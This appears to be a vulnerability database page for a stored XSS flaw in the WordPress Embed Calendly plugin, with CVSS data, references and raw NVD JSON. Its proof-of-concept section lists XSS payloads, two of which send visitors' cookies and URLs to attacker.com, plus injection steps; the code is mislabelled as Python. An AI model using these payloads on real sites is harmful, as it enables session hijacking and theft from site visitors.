CVE-2026-32411

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Simpma Embed Calendly embed-calendly-scheduling allows Stored XSS.This issue affects Embed Calendly: from n/a through <= 4.4.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Embed Calendly (embed-calendly-scheduling) <= 4.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-32411 Stored XSS PoC
// Target: WordPress Embed Calendly plugin <= 4.4

// Payload 1: Basic alert (for testing)
const payload1 = '<script>alert("XSS by CVE-2026-32411")</script>';

// Payload 2: Cookie stealing
const payload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">';

// Payload 3: Session hijacking with fetch API
const payload3 = `<script>
document.write('<img src="https://attacker.com/log?cookie='+document.cookie+'&url='+location.href+'">');
</script>`;

// Attack steps:
// 1. Identify input field in Embed Calendly plugin settings
// 2. Inject malicious JavaScript payload
// 3. Save the settings (payload gets stored in database)
// 4. When any user visits the affected page, the XSS executes

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32411
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32411
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32411/
[4] VulDB https://vuldb.com/cve/CVE-2026-32411
[5] https://patchstack.com/database/Wordpress/Plugin/embed-calendly-scheduling/vulnerability/wordpress-embed-calendly-plugin-4-4-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32411", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:58.013", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Simpma Embed Calendly embed-calendly-scheduling allows Stored XSS.This issue affects Embed Calendly: from n/a through <= 4.4."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Simpma Embed Calendly embed-calendly-scheduling permite XSS Almacenado. Este problema afecta a Embed Calendly: desde n/d hasta <= 4.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/embed-calendly-scheduling/vulnerability/wordpress-embed-calendly-plugin-4-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}